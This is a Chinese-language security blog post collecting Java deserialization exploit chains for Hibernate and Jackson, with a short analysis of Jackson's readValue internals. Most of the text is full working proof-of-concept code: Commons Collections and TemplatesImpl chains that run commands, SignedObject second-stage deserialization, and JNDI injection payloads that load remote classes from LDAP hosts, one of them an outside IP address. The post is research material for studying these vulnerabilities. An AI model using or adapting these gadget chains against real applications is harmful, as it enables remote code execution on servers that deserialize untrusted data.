"Runtime.getRuntime().exec(\"calc\");"; ctClass.makeClassInitializer().insertBefore(block); return ctClass.toBytecode(); } public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException { Field dfield=object.getClass().getDeclaredField(field); dfield.setAccessible(true); dfield.set(object,value); } public static void serialize(Object object) throws IOException { ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(object); } public static void unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); }
jdbcRowSetImpl
同样也可以触发JdbcRowSetImpl#getDatabaseMetaData
进而触发connect()
方法导致lookup
进行jndi
注入,只需要将上面payload部分换成即可
JdbcRowSetImpl jdbcRowSet=new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:7777/test");
//BasicGetter初始化,便于触发get方法
Class<?> BasicGetter=Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor=BasicGetter.getDeclaredConstructor(Class.class, Method.class,String.class);
constructor.setAccessible(true);
Method method=jdbcRowSet.getClass().getDeclaredMethod("getDatabaseMetaData");
Object getter=constructor.newInstance(jdbcRowSet.getClass(),method,"databaseMetaData");
SignedObject
这里以SignedObject打CC链为例,payload如下:
package com.example.Hibernate;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.CannotCompileException;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import sun.reflect.ReflectionFactory;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.sql.SQLException;
import java.util.HashMap;
public class Hibernate2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, SQLException, NoSuchAlgorithmException, SignatureException, InvalidKeyException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),//解决Runtime不继承序列化接口问题
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap1=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> objectHashMap=new HashMap<>();
objectHashMap.put(tiedMapEntry,"bbb");
lazyMap.remove("aaa");
Class lazyMap_class=LazyMap.class;
Field factory=lazyMap_class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(objectHashMap, kp.getPrivate(), Signature.getInstance("DSA"));
//BasicGetter初始化,便于触发get方法
Class<?> BasicGetter=Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor=BasicGetter.getDeclaredConstructor(Class.class, Method.class,String.class);
constructor.setAccessible(true);
Method method=signedObject.getClass().getDeclaredMethod("getObject");
Object getter=constructor.newInstance(signedObject.getClass(),method,"object");
//子类pojoComponentTuplizer赋值getters,可直接调用父类
Class<?> pojoComponentTuplizer=Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizer=Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");
Object Tuplizer=createWithoutConstructor(pojoComponentTuplizer);
Field field=abstractComponentTuplizer.getDeclaredField("getters");
field.setAccessible(true);
Object getters= Array.newInstance(getter.getClass(),1);//getters是个数组
Array.set(getters,0,getter);
field.set(Tuplizer,getters);
//对ComponentType进行赋值,触发getHashCode()
Class<?> ComponentType=Class.forName("org.hibernate.type.ComponentType");
Object componentType=createWithoutConstructor(ComponentType);
setFieldValue(componentType,"propertySpan",1);
setFieldValue(componentType,"componentTuplizer",Tuplizer);
TypedValue typedValue=new TypedValue((Type) componentType,null);
HashMap hashMap=new HashMap();
hashMap.put(typedValue,"aiwin");
// put 到 hashmap 之后再反射写入,防止 put 时触发
setFieldValue(typedValue,"value",signedObject);
serialize(hashMap);
unserialize("ser.bin");
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
//绕过构造函数的限制,创造新的反序列化构造函数
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Field dfield=object.getClass().getDeclaredField(field);
dfield.setAccessible(true);
dfield.set(object,value);
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}
Jackson反序列化
引入依赖:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.11.0</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.11.0</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.11.0</version>
</dependency>
jackson
与fastjson
有点相似,都是用于处理JSON数据,但是jackson
与fastsjon
一个非常大的优点是jackson
支持多态,简单来说就是一个Java的对象成员可以是一个抽象接口、抽象类、父类,若没有指定是具体那一个实现类,会出现找不到成员class的情况。Jackson中可以通过DefaultTyping
和 @JsonTypeInfo
注解来实现。
JAVA_LANG_OBJECT | 属性是Object序列化和反序列化 |
---|---|
OBJECT_AND_NON_CONCRETE | 属性的类型为Object、Interface、AbstractClass会进行反序列化 |
NON_CONCRETE_AND_ARRAYS | 支持Arrays类型进行反序列化 |
NON_FINAL | 所有除了声明为final之外的属性 |
@JsonTypeInfo注解的类型如下:
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE): 这个注解指定了不使用类型信息。即在序列化和反序列化过程中不记录类型信息。
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS): 这个注解指定了使用类全名作为类型标识。在序列化时,会将对象的实际类名作为类型信息写入 JSON 数据中,在反序列化时会根据类型信息恢复对象。
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS): 这个注解指定了使用最小类名作为类型标识。与JsonTypeInfo.Id.CLASS相似,但只使用最后一个点之后的类名,而不使用完整的类路径。
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME): 这个注解指定了使用指定名称作为类型标识。通过它,可以为类定义一个名称,并将其作为类型信息写入 JSON 数据中。
@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM): 这个注解指定了使用自定义的类型解析器来处理类型信息。通过实现 TypeResolver 接口,并将其指定为注解的 property 属性,可以自定义类型解析的逻辑。
Jackson反序列化漏洞触发的成因:
它与fastjson 类似,都是从某一个类构造函数实例化,在还原对象的过程中通过getter 或者setter 方法给成员变量赋值,导致了可以恶意利用setter 或getter 方法触发一些Gagets
Jackson能触发反序列化漏洞的条件:
1.Jackson 开启 Defualt Type支持
2.存在可利用的类,它的getter或者setter方法能够Jackson触发造成反序列化漏洞
以下是Jackson 在readValue 还原对象的时候的简单流程分析:
首先会进入到
_readMapAndClose
方法中,在进入这个方法之前会先进入_typeFactory.constructType
里面。public <T> T readValue(String content, Class<T> valueType) throws IOException, JsonParseException, JsonMappingException { return (T) _readMapAndClose(_jsonFactory.createParser(content), _typeFactory.constructType(valueType)); }
在
_typeFactory.constructType
会进入到_fromAny
里面,判断对象的类型,进而进入不同的if语句中,执行不同的函数,就是判断它是不是一些特殊的Class
,如果不是一般都是在第一个if
中返回,最终返回一个SimpleType
。protected JavaType _fromAny(ClassStack context, Type type, TypeBindings bindings) { JavaType resultType; // simple class? if (type instanceof Class<?>) { // Important: remove possible bindings since this is type-erased thingy resultType = _fromClass(context, (Class<?>) type, EMPTY_BINDINGS); } // But if not, need to start resolving. else if (type instanceof ParameterizedType) { resultType = _fromParamType(context, (ParameterizedType) type, bindings); } else if (type instanceof JavaType) { // [databind#116] // no need to modify further if we already had JavaType return (JavaType) type; } else if (type instanceof GenericArrayType) { resultType = _fromArrayType(context, (GenericArrayType) type, bindings); } else if (type instanceof TypeVariable<?>) { resultType = _fromVariable(context, (TypeVariable<?>) type, bindings); } else if (type instanceof WildcardType) { resultType = _fromWildcard(context, (WildcardType) type, bindings); } else { // sanity check throw new IllegalArgumentException("Unrecognized Type: "+((type == null) ? "[null]" : type.toString())); } /* 21-Feb-2016, nateB/tatu: as per [databind#1129] (applied for 2.7.2), * we do need to let all kinds of types to be refined, esp. for Scala module. */ if (_modifiers != null) { TypeBindings b = resultType.getBindings(); if (b == null) { b = EMPTY_BINDINGS; } for (TypeModifier mod : _modifiers) { JavaType t = mod.modifyType(resultType, type, b, this); if (t == null) { throw new IllegalStateException(String.format( "TypeModifier %s (of type %s) return null for type %s", mod, mod.getClass().getName(), resultType)); } resultType = t; } } return resultType; }
进入到
_readMapAndClose
,会通过_initForReading()
对解析过程进行初始化,返回一个值,通过_findRootDeserializer
获取JSON
串对应的deserialize
后,最终会进入到deser.deserialize
中protected Object _readMapAndClose(JsonParser p0, JavaType valueType) throws IOException { try (JsonParser p = p0) { Object result; JsonToken t = _initForReading(p); if (t == JsonToken.VALUE_NULL) { // Ask JsonDeserializer what 'null value' to use: DeserializationContext ctxt = createDeserializationContext(p, getDeserializationConfig()); result = _findRootDeserializer(ctxt, valueType).getNullValue(ctxt); } else if (t == JsonToken.END_ARRAY || t == JsonToken.END_OBJECT) { result = null; } else { DeserializationConfig cfg = getDeserializationConfig(); DeserializationContext ctxt = createDeserializationContext(p, cfg); JsonDeserializer<Object> deser = _findRootDeserializer(ctxt, valueType); if (cfg.useRootWrapping()) { result = _unwrapAndDeserialize(p, ctxt, cfg, valueType, deser); } else { result = deser.deserialize(p, ctxt); } ctxt.checkUnresolvedObjectId(); } // Need to consume the token too p.clearCurrentToken(); return result; } }
在
_findRootDeserializer
中,会首先从_rootDeserializers
中获取对应type
的反序列化器,也就是从缓存中获取,如果获取不到,就会进入到findRootValueDeserializer
中protected JsonDeserializer<Object> _findRootDeserializer(DeserializationContext ctxt, JavaType valueType) throws JsonMappingException { // First: have we already seen it? JsonDeserializer<Object> deser = _rootDeserializers.get(valueType); if (deser != null) { return deser; } // Nope: need to ask provider to resolve it deser = ctxt.findRootValueDeserializer(valueType); if (deser == null) { // can this happen? throw JsonMappingException.from(ctxt, "Can not find a deserializer for type "+valueType); } _rootDeserializers.put(valueType, deser); return deser; }
在
findRootValueDeserializer
中,会再一次从_cache
中获取反序列化器,它经历了一个_findCachedDeserializer
的复杂获取后,如果获取不到,则调用_createAndCacheValueDeserializer
新建立一个BeanDeserializerFactory
,对BeanDeserializerFactory
进行了一系列赋值之后,将Deserializer
返回,并通过_rootDeserializers.put(valueType, deser);
放入到缓存当中。public final JsonDeserializer<Object> findRootValueDeserializer(JavaType type) throws JsonMappingException { JsonDeserializer<Object> deser = _cache.findValueDeserializer(this, _factory, type); if (deser == null) { // can this occur? return null; } deser = (JsonDeserializer<Object>) handleSecondaryContextualization(deser, null, type); TypeDeserializer typeDeser = _factory.findTypeDeserializer(_config, type); if (typeDeser != null) { // important: contextualize to indicate this is for root value typeDeser = typeDeser.forProperty(null); return new TypeWrappedDeserializer(typeDeser, deser); } return deser; }
然后就会进入
deser.deserialize(p, ctxt);
方法中,经过p.isExpectedStartObjectToken()
判断JSON解析的字符串是否是正确之后会进入到vanillaDeserialize
中@Override public Object deserialize(JsonParser p, DeserializationContext ctxt) throws IOException { // common case first if (p.isExpectedStartObjectToken()) { if (_vanillaProcessing) { return vanillaDeserialize(p, ctxt, p.nextToken()); } // 23-Sep-2015, tatu: This is wrong at some many levels, but for now... it is // what it is, including "expected behavior". p.nextToken(); if (_objectIdReader != null) { return deserializeWithObjectId(p, ctxt); } return deserializeFromObject(p, ctxt); } return _deserializeOther(p, ctxt, p.getCurrentToken()); }
在
vanillaDeserialize
中,会进入到do-while
循环中,获取对应的Java Bean
属性后赋值给prop
,如果prop
不为空,则进入到deserializeAndSet
中,private final Object vanillaDeserialize(JsonParser p, DeserializationContext ctxt, JsonToken t) throws IOException { final Object bean = _valueInstantiator.createUsingDefault(ctxt); // [databind#631]: Assign current value, to be accessible by custom serializers p.setCurrentValue(bean); if (p.hasTokenId(JsonTokenId.ID_FIELD_NAME)) { String propName = p.getCurrentName(); do { p.nextToken(); SettableBeanProperty prop = _beanProperties.find(propName); if (prop != null) { // normal case try { prop.deserializeAndSet(p, ctxt, bean); } catch (Exception e) { wrapAndThrow(e, bean, propName, ctxt); } continue; } handleUnknownVanilla(p, ctxt, bean, propName); } while ((propName = p.nextFieldName()) != null); } return bean; }
deserializeAndSet
方法通过_setter.invoke
触发对应的set
方法@Override public void deserializeAndSet(JsonParser p, DeserializationContext ctxt, Object instance) throws IOException { Object value = deserialize(p, ctxt); try { _setter.invoke(instance, value); } catch (Exception e) { _throwAsIOE(p, e, value); } }
但是并非全部的
jackson
都只会触发getter
方法,它与fastjson
也是类似,会触发特定条件下的get
方法,它在为BeanDeserializerFactory
赋值的时候,会存在一个addBeanProps
方法,里面有一部分对props
的判断可以看到会触发少部分的get
方法
它首先判断属性是否有 setter 方法,如果有,则获取 setter 方法的参数类型并通过constructSettableProperty
方法构建SettableBeanProperty
对象。如果没有 setter 方法,则判断是否有字段,如果有,则获取字段的类型并同样通过constructSettableProperty
方法构建SettableBeanProperty
对象。如果设置了useGettersAsSetters
标志,并且属性有 getter 方法,则尝试使用getter
方法构建SettableBeanProperty
对象,但是这里只考虑了 Collection 和 Map 类型的属性。
也就是说,要调用get
方法的满足条件如下:
1.没有set方法
2.私有属性
3.getter方法返回值是Map,Collection的类型
JdbcSetImpl
老生常谈的一个JNDI注入的链子,poc如下:
public class JdbcImpl {
public static void main(String[] args) throws IOException {
String poc = "[\"com.sun.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:8085/nrPgJBmb\",\"autoCommit\":true}]";
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
objectMapper.readValue(poc, Object.class);
}
}
TemplateImpl
在低版本的JDK中是可以复现成功的,但是在高版本中并不行,因为_tfactory
会报空值错误,但是在jackson
中并不能控制_tfactory
的值。
import com.fasterxml.jackson.databind.ObjectMapper;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.io.IOException;
import java.util.Base64;
public class TemplateImpl {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
String base64Poc =Base64.getEncoder().encodeToString(getTemplates());
String poc = "[\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",{\"transletBytecodes\":[\"" + base64Poc +"\"],\"transletName\":\"aiwin\",\"outputProperties\":{}}]";
System.out.println(poc);
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
objectMapper.readValue(poc, Object.class);
}
public static byte[] getTemplates() throws CannotCompileException, NotFoundException, IOException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
}
c3p0
public class c3p0 {
public static void main(String[] args) throws IOException {
String poc="[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"ldap://127.0.0.1:8085/nrPgJBmb\", \"loginTimeout\":0}]";
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
objectMapper.readValue(poc,Object .class);
}
}
TemplateImpl原生反序列化
首先需要重写BaseJsonNode
类,并且把里面的writeReplace()
注释掉,因为在序列化的时候会存在invokeWriteReplace()
判断writeReplaceMethod
是否存在,如果存在就会调用这个writeReplace()
进而调用NodeSerialization
,导致反序列化的时候不会走正常渠道,会引发报错阻止了反序列化的进行。
大致链子如下:
BadAttributeValueExpException#readObject()->
BaseJsonNode#toString()->
InternalNodeMapper#nodeToString()->
BeanSerializer#serialize()->
BeanPropertyWriter#serializeAsField()->
TemplatesImpl#getOutputProperties()
Jackson
它是基于Bean属性访问机制的反序列化,它在反序列化的时候会调用BeanSerializer
恢复Bean
从而调用getter
方法进行还原。
一些基于Bean
机制进行反序列化的类:
- SnakeYAML
- jYAML
- YamlBeans
- Jackson
- Castor
- Java XMLDecoder
exp如下:
public class TemplatesImplChain {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templatesImpl, "_name", "aiwin");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
setFieldValue(exp,"val",pojoNode);
String result=serialize(exp);
unserialize(result);
}
SignedObject二次反序列化
BadAttributeValueExpException#readObject()->
BaseJsonNode#toString()->
InternalNodeMapper#nodeToString()->
BeanSerializer#serialize()->
BeanPropertyWriter#serializeAsField()->
SignedObject#getObject->
二次反序列化->
TemplatesImpl#getOutputProperties()
exp如下:
public class SignObject {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templatesImpl, "_name", "aiwin");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode pojoNode=new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
setFieldValue(exp,"val",pojoNode);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(exp, kp.getPrivate(), Signature.getInstance("DSA"));
POJONode pojoNode1=new POJONode(signedObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",pojoNode1);
String result=serialize(badAttributeValueExpException);
unserialize(result);
}
LdapAttribute
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
c_resolveIntermediate_nns:168, ComponentContext (com.sun.jndi.toolkit.ctx)
c_resolveIntermediate_nns:359, AtomicContext (com.sun.jndi.toolkit.ctx)
p_resolveIntermediate:439, ComponentContext (com.sun.jndi.toolkit.ctx)
p_getSchema:432, ComponentDirContext (com.sun.jndi.toolkit.ctx)
getSchema:422, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)
getSchema:210, InitialDirContext (javax.naming.directory)
getAttributeDefinition:207, LdapAttribute (com.sun.jndi.ldap)
exp如下:
public class LdapAttributeChain
{
public static void main( String[] args ) throws Exception {
String ldapCtxUrl = "ldap://120.79.29.170:1389/";
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
String.class);
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
"name");
setFieldValue(ldapAttribute,"baseCtxURL",ldapCtxUrl);
setFieldValue(ldapAttribute,"rdn", new CompositeName("a//b"));
POJONode jsonNodes = new POJONode(ldapAttribute);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
setFieldValue(exp,"val",jsonNodes);
deserial(serial(exp));
}
简单分析:
主要是通过POJONode
调用LdapAttributeClazz#getAttributeDefinition
,在这个方法中,baseCtx
和rdn
都可控。
它会进入getSchema
进行进一步解析,会进一步对DN
进行解析,exp中 new CompositeName("evil//b")
事实上调用的类名是evil
,b
似乎是无关紧要的,它会在ComponentContext#p_resolveIntermediate
中以/
分割提取出头和尾分别赋值给var5
和var6
,最终传进去的是var6
也就是头evil
。
进入到AtomicContext#c_resolveIntermediate_nns
,因为_contextType
默认是1,因为会调用父类即ComponentContext#c_resolveIntermediate_nns
,从而调用了LdapCtx#lookup()
。
在LdapCtx#c_lookup
中,会调用doSearch
寻找DN
,最终的结果是传入的头也就是evil
为classFactory
。
最终在NamingManager#getObjectFactoryFromReference
中完成了远程类加载和实例化,这里通过ldap
远程调用那个类是由于rdn
中分割符的前面决定的。
文章标题:Java反序列化链子合集2
文章链接:https://aiwin.fun/index.php/archives/515/
最后编辑:2024 年 6 月 4 日 17:48 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)